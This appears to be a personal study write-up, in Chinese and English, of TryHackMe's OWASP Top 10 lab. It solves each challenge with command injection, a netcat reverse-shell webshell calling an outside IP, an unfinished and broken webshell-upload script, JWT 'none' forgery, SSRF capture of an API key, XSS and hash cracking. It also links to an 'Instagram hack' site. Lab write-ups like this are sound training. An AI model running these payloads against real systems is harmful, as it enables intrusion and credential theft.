---
# System prepended metadata

title: OWASP 10
tags: [web, tryhackme]

---

# OWASP 10

Open web app software project


version 2021

###### tags: `web` `tryhackme`


[TOC]


# Broken Access Control 

主要想法是 我們能夠 使用普通User Account 來 Access Admin Page 

Exploit 

-> cookie Access 
-> IDOR
-> SQLi -> login page 

## IDOR 

Insecurity Direct Object Reference 

-> 利用 URL parameter 不安全使用

![](https://hackmd.io/_uploads/ry1TgnZH2.png)

## Challenge

username noot 
password test1234.


![](https://hackmd.io/_uploads/B1-UbhbS3.png)


這裡note_id parameter 可能有IDOR 問題
```
http://10.10.100.49/note.php?note_id=1
```

![](https://hackmd.io/_uploads/Sk9eG3ZBn.png)

![](https://hackmd.io/_uploads/rke-zh-r3.png)

# Cryptographic Failures

如通字面上意思 主要是 誤用或未使用 正確加密算法
-> 導致web vulnerablity 產生

E.G. 

>在傳輸中的 cryptographic Failures(data in transit)
這個問題會導致 Attacker 透過抓包 來知道 info

>存放在Server cryptographic Failures (data at rest)


組合技
-> Cryptographic failures + Man in The Middle Attack 

Capture week encrypted in transit 

## Divulging sensitive data
Account or Password



## Challenge


### Gathering Info 

http://10.10.100.49:81/login.php

![](https://hackmd.io/_uploads/Ski9Za-Bh.png)


![](https://hackmd.io/_uploads/rktY-p-Bh.png)


```
<!-- Must remember to do something better with the database than store it in /assets... -->
```

![](https://hackmd.io/_uploads/By2Mf6Zrh.png)

webapp.db -> 看的出來他可能是 sqlite 的File 

我們可以用 file command 來查看

```
┌──(root㉿kali)-[~/Downloads]
└─# file webapp.db 
webapp.db: SQLite 3.x database, last written using SQLite version 3022000, file counter 255, database pages 7, 1st free page 5, free pages 1, cookie 0x6, schema 4, UTF-8, version-valid-for 255
```

SQLite 3.x database

### Sqlite

進入到DB
```
┌──(root㉿kali)-[~/Downloads]
└─# sqlite3 webapp.db 
SQLite version 3.39.4 2022-09-29 15:55:41
Enter ".help" for usage hints.
sqlite> 

```

.table 可以查看所有DB
```
sqlite> .tables
sessions  users   
```


```
sqlite> PRAGMA table_info(users);
0|userID|TEXT|1||1
1|username|TEXT|1||0
2|password|TEXT|1||0
3|admin|INT|1||0
sqlite> select * from users;
4413096d9c933359b898b6202288a650|admin|6eea9b7ef19179a06954edd0f6c05ceb|1
23023b67a32488588db1e28579ced7ec|Bob|ad0234829205b9033196ba818f7a872b|1
4e8423b514eef575394ff78caed3254d|Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0

```

PRAGMA table_info(users); 查看talbe 的 columns name 跟 attribute 

select * from users; 查表

### Hash crack 

我們可以嘗是Hash crack Admin hash 

https://crackstation.net/

![](https://hackmd.io/_uploads/rJR18TWr2.png)

Admin password 
```
qwertyuiop
```

這樣我們就能嘗試登入 Admin Page

### login admin

![](https://hackmd.io/_uploads/SylF8a-H3.png)


# Injection 

當 user input 被 application  當成 command or parameter 時 -> 就會有 injection 的問題

Injection Type 

- SQL injection 

- Command injection 

防範 (defense)

- Using allow list 
白名單的方法 ->allow 合理的格式

- Stripping input 
在處理前把危險的Chars 刪掉

## Command Injection

當web 有與CLI 交互的互動函式 就可能有致個問題

php systems function 

```
system('ls', $retval);
```

```
exec('whoami', $output, $retval);
```

## Vulnerable Code

```php
<?php
    if (isset($_GET["mooing"])) {
        $mooing = $_GET["mooing"];
        $cow = 'default';

        if(isset($_GET["cow"]))
            $cow = $_GET["cow"];
        
        passthru("perl /usr/bin/cowsay -f $cow $mooing");
    }
?>
```

## Challenge

```
$ ls -la 
```

![](https://hackmd.io/_uploads/S1X70J7B2.png)


How many non-root/non-service/non-daemon users are there?


```
& cat /etc/passwd | grep -v nologin
```

![](https://hackmd.io/_uploads/ryN2RJQSn.png)


```
& cat /etc/os-release
```

![](https://hackmd.io/_uploads/Hywveg7S2.png)



# Insecure Design 

Insecure Design -> 不安全架構 不是code或configuration的問題
在 Early stages of the development lifecycle 沒有威脅建模 容易有這種 Vulnerability 

e.g.

Programer-> 可能會有一些快捷方法(shortcuts) 來加速開發 就有可能 Occur Insecure Design 

可能會在開發時 Disable 掉一些 驗證機制但最後沒有用回來 或是有一些測試性密碼


## Insecure Password Resets

hacked Instagram
https://thezerohack.com/hack-any-instagram

![](https://hackmd.io/_uploads/rJux_NNr2.png)

---

![](https://hackmd.io/_uploads/rkKWOV4B2.png)


## Challenge

- Try to reset joseph's password

![](https://hackmd.io/_uploads/BkitiEVr3.png)

向這個security question 可以先去做OSINT 來去猜Answer
我有找過但感覺joseph太多info 沒辦法利用

他的option 2 感覺比較好猜
![](https://hackmd.io/_uploads/ry8Ps4NBn.png)

---

![](https://hackmd.io/_uploads/ByPY2NErh.png)


password: GD7lRSxzcfh8XZ

![](https://hackmd.io/_uploads/rJnah44rn.png)


## Security Misconfiguration

Miscofniguration 不是code 或 architecture 問題
他屬於人為的 vulnerability

Command vulnerability 
- cloud server 設定不當
- 開啟不必要的 Service, Page, account, privilege 
- Default password 
- 過於詳細的Error Message 
- HTTP

這種vulnerability 會延伸更多有問題的vulnerability (組合技)

## Debugging Interfaces

Debugger console 可以透過 URL 的訪問

![](https://hackmd.io/_uploads/SyB9zINBn.png)




## Challenge
```
import os; cmd=os.system("ls -la"); print(cmd) 
```
這只會Return value


![](https://hackmd.io/_uploads/S13dw8NH3.png)


```
import os; print(os.popen("ls -la").read())
```
os.system 會 return code status 

os.popen("ls -la") Return 一個 file Descript 的 object 



https://blog.csdn.net/xc_zhou/article/details/96445422

![](https://hackmd.io/_uploads/r1ySLUNB3.png)

---

![](https://hackmd.io/_uploads/rJpSU8Ern.png)

---

![](https://hackmd.io/_uploads/H1-ku8ES3.png)

# vulnerable and Outdate component 

這個弱點 來自於 well-know vulnerability (CVE)

當Software 沒有及時update 就會有這個問題


Gathering Information 在這個stpe很重要

必須先 Enumerate application 的 version or 使用的framework 來去找對應的Script 



[Exploit-DB](https://www.exploit-db.com/)







## challenge

https://www.exploit-db.com/exploits/47887 (exploit DB) 公開 Remote Code Execution

![](https://hackmd.io/_uploads/BkPkQBLrh.png)

可以點

ADD new Book 

shell upload Page

http://10.10.169.248:84/admin_add.php

![](https://hackmd.io/_uploads/SkjYrB8Sn.png)

![](https://hackmd.io/_uploads/B1XcUrUH2.png)

![](https://hackmd.io/_uploads/HJcEwBIHn.png)


---

webShell
```
<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>
```

![](https://hackmd.io/_uploads/ryIAhHLSn.png)

```
nc -lvnp 443            
listening on [any] 443 ...
connect to [10.17.11.72] from (UNKNOWN) [10.10.44.39] 37931
/bin/sh: can't access tty; job control turned off
/htdocs/bootstrap/img $ ls
android_studio.jpg
beauty_js.jpg
c_14_quick.jpg
c_sharp_6.jpg
doing_good.jpg
img1.jpg
img2.jpg
img3.jpg
kotlin_250x250.png
logic_program.jpg
mobile_app.jpg
phpWebShell.php
pro_asp4.jpg
pro_js.jpg
unnamed.png
web_app_dev.jpg
/htdocs/bootstrap/img $ whoami
apache
/htdocs/bootstrap/img $      

```

```
/htdocs/bootstrap/img $ cat /opt/flag.txt
THM{But_1ts_n0t_my_f4ult!}

```



嘗試編寫 Attack Script(編寫中ing)

```python
import argparse 

# For generate Random Strings 
import random
import string

# For requests
import requests

def targetURL(url):
    url = url.rstrip("/") #在一次剝皮 把 "/"" 去掉
    print(f'The Target URL is {url}')


def RandomStrings(length):
    
    Chars = string.ascii_letters + string.digits
    #print(Chars) # output Result:"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    randomFile = ''.join(random.choice(Chars) for i in range (length))
    #print(randomFile) # ouput:"z4qmmH35XI"
    return randomFile

payload = "<?php echo shell_exec($_GET['cmd']); ?>"

webshell = {'image': (RandomStrings(10)+'.php', payload, 'text/php')} #() tuple 不可變
# print(webshell['image'][0])  # 打印檔案名稱
# print(webshell['image'][1])  # 打印內容
# print(webshell['image'][2])  # 打印 MIME 類型

print("> try to upload web shell....")


request = requests.post(
    url+'admin_add.php',
    file=webshell,
    data={'add':'1'},
    verify=False
    )

#data={'add':'1'} from 裡面 add 
#verify = False不進行SSL/TLS 驗證
print(f'response: {request.text}')
print('shell upload success !!!!!!!!')
if __name__ == '__main__':

    # input url parameter

    parser = argparse.ArgumentParser()
    parser.add_argument('url', action='store', help='target Url') #action -> store value to arg.url
    args = parser.parse_args() #解析結果存儲在 args 物件中

    targetURL(args.url)
    GenerateRandomStrings(10)

```


# Identification and Authentication Failures

識別和驗證失敗


Command Flaws 

- Brute Force Attack

mitigation:lockout after a certain number of attempts.


- Week password 

mitigation:strong password policy.


- Week Session cookie

session 跟 cookie 是 server Track  user 的方法之一
如果能pridict cookie value  -> 就能不用密碼 進行登入

mitigation:session cookie 加密
XSS-> httponly

## Challenge

身分驗證 logic 缺陷

Forget to sanitise the input -> SQLi

re-registration of an existing user(是本challenge)
重註冊logic漏洞

### Exploit 思路

想法是 

透過 在要重 Registeration
"admin"
"(space)admin" -> 來Bypass Existing Account (Check)

設定置自己知道的密碼


來獲得相同權限(如果permission 檢查不夠嚴謹)

![](https://hackmd.io/_uploads/r1Cx0h_Bn.png)


# Software and Data Integrity Failures

軟體跟資料的完整性失效



Intergrity -> 確保 Data 是不可以被任意修改 

-> 透夠比對 Hash 就能確保 Data 在傳輸過程的 Intergrity 

Hash Methods 

MD5, SHA1, SHA256


使用方法

![](https://hackmd.io/_uploads/HJF9QauBn.png)

## Vulnerability 

當Developer 沒有使用 Any kind of integrity checks
時 在 data passed to application 會無法得知是否被惡意modify -> Unexpected consequences
 
-   Software Integrity Failures
-   Data Integrity Failures

## Software Integrity Failures

這種 軟體的Integrity 失效 常跟第三方 library 有關(無法control 的)


e.g. 
```
<script src="https://code.jquery.com/jquery-3.6.1.min.js"></script>
```
When Attacke replace this libiray and inject malicious code.

當我們Access web -> 就會exec Malicious Code(有點像Store Xss 概念)

### SRI

Subresource integrity -> 確保地3方 Library Code 沒被 inject Malisious Code 

https://www.srihash.org/

HTML 寫法

![](https://hackmd.io/_uploads/Skhi56OH2.png)

```js=
<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>
```
Integrity -> SRI 產生的Hash Value 


## Data intergrity failure

Cookie -> session 

Browser 信任修改過cookie 是一種常見Data intergrity failure

cookie 中有用戶名資訊 (弱點)  

## Cookie integrity Protection 


## JSON Web Tokens (JWT)

JWT -> Token 

可以將Json格式的 Header 跟 payload Value 取出
然後 編成 驗證intergrity的Token

![](https://hackmd.io/_uploads/B1J7n4qrn.png)



Payload -> 通常是 web application 想要Client 去Store 的 InFo e.g cookie 

Signature -> HS256 算法 他跟Hash功能很像 用於驗證payload 的integrity 

Signature
![](https://hackmd.io/_uploads/SkeiZr5r2.png)

Authentication 
![](https://hackmd.io/_uploads/B1MdXrqHn.png)



如果跟改username ->  Signature won't match the payload -> 就會知道 payload 遭到 tampered 

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjY1MDc2ODM2fQ.C8Z3gJ7wPgVLvEUonaieJWBJBYt5xOph2CpIhlxqdUw
```

![](https://hackmd.io/_uploads/SkllNBcHn.png)

![](https://hackmd.io/_uploads/SkzW4Bqr3.png)

![](https://hackmd.io/_uploads/H10-NHqrn.png)

Signature contains binary data so even if you decode it, you won't be able to make much sense of it anyways.


### JWT Signature Bypass 

step1 Modify alg -> "none"
step2 Remove signature Part 

![](https://hackmd.io/_uploads/ry_3BSqS3.png)

## challenge

```
http://10.10.170.203:8089/flag
```

![](https://hackmd.io/_uploads/SkA8yqiB2.png)

已知JWT->前面可以被base64 Decode

```
{"typ":"JWT","alg":"HS256"}{"username":"guest","exp":1684936962}^	ײ	e;9aψ'v:|b"M
```

修改 JWT

```
{"typ":"JWT","alg":"none"}
```

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
```

---

```
{"username":"admin","exp":1684937634}
```

```
eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjg0OTM3NjM0fQ==
```


把兩個拼在一起 (注意payload 後面還有一點)

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjg0OTM3NjM0fQ==.
```


![](https://hackmd.io/_uploads/Sk52MciSh.png)

# Security Logging and Monitoring Failures

不安全的 安全紀錄和監控失敗


Security log 應具備

- HTTP statu
- Username
- API endpoing/ locol page
- TimeStamp
- IP Address

## Impacts


如果沒有 Security log 會造成

Regulatory damage
會導致 Web Owner -> 需要負責損失

Risk of further attacks

## Suspicious activity

### Multiple unauthorised attempt
e.g. -> admin page

### Anomalous IP addresses 
異常IP

### Automated tools

判斷方法

User-Agent (http header)

Request speed 

### Common payloads



# SSRF

Server-Side Request Forgery

當Web Application 透過URL 來向第三方 使用service 且我們可以control Request content 就會有SSRF 的問題


## Sample

![](https://hackmd.io/_uploads/Bkm90xprh.png)

Attack 可能會替換 srv3.sns.thm 改成自己的IP
透過 NC 來查看訊息 

可能會拿到 某些Service 的API Token 


Change URL
```
https://www.mysite.com/sms?server=attacker.thm&msg=ABC
```

Attacker listening

```
user@attackbox$ nc -lvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.1.236 43830
GET /:8087/public-docs/123.pdf HTTP/1.1
Host: 10.10.10.11
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*
```


## SSRF can be used for

- Enumerate internal network IP or Port 
枚舉內部網路IP 跟 port 
- Abuse Trust relationship Between servers and  gain access to restricted services 
-   Interact with some non-HTTP services to get remote code execution (RCE).

## Challenge

![](https://hackmd.io/_uploads/BJCr7-aSh.png)

admin page -> Host 必須是 "localhost" 才能 Access 

![](https://hackmd.io/_uploads/B1O9QZpH3.png)


SSRF vulnerability

![](https://hackmd.io/_uploads/BJikEWpB2.png)

```htmlmixed
<a href="/download?server=secure-file-storage.com:8087&amp;id=75482342" class="w3-button w3-light-grey w3-padding-large w3-margin-top">
      <i class="fa fa-download"></i> Download Resume
     </a>
```

secure-file-storage.com:8087 -> 可以去Replace 



```
<a href="/download?server=10.17.11.72:80&amp;id=75482342" class="w3-button w3-light-grey w3-padding-large w3-margin-top">
      <i class="fa fa-download"></i> Download Resume
    </a>
```

攔截 第3方的 Request 

```
┌──(root㉿Meowhecker)-[~]
└─# nc -lvnp 443  
listening on [any] 443 ...
connect to [10.17.11.72] from (UNKNOWN) [10.10.121.27] 52922
GET /public-docs-k057230990384293/75482342.pdf HTTP/1.1
Host: 10.17.11.72:443
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*
X-API-KEY: THM{Hello_Im_just_an_API_key}

```

其中有個 interesting Attribute 
```
X-API-KEY
```

這個問題有點小難(skip)
![](https://hackmd.io/_uploads/SyPVgATB3.png)


測試payload 
```
http://10.10.121.27:8087/download?server=10.10.121.27:8087/admin&name=&id=75482342
```


# XSS


>On the same page, create an alert popup box appear on the page with your document cookies.


```
<svg onload=alert(document.cookie)></svg> 
```

![](https://i.imgur.com/sSzVaDp.png)

---



>Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.


要改特定element 我們要先找到id

![](https://i.imgur.com/dWW8Zs5.png)

```
id="thm-title"
```

Change HTML 
```
const element = document.getElementById("thm-title");
element.innerHTML = "I am Meowhecker";
```

```
document.getElementById('thm-title').innerHTML = 'I am Meowhecker';
```



Payload 
```
<script>
const element = document.getElementById("thm-title");
element.innerHTML = "I am Meowhecker";
</script>
```

or 

用jquery去試

```
<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>
```

![](https://i.imgur.com/Aft8b94.png)


# Insecurity Deserialization 



F12 -> storage 
可以發現 他的cookie 存在很大的問題

![](https://i.imgur.com/YH04p22.png)

![](https://i.imgur.com/iMCCRiA.png)

![](https://i.imgur.com/0OWyUNk.png)

session ID

```
gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAAODE1OTFiMTRjNjRhNDA1ZjljZTk2YThlZTgwYTI0MGFxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==
```
感覺是base64

>1st flag (cookie value)


![](https://i.imgur.com/tO0RxpG.png)


>2nd flag (admin dashboard)

user-> admin 

![](https://i.imgur.com/6yQXkO1.png)


# Task 6 Who's flying this thing?

## Broken Access Control exploits


Horizontal Privilege Escalation

Vertical Privilege Escalation


![](https://hackmd.io/_uploads/Hkt-GApr3.png)


## Challenge 

Access admin page 
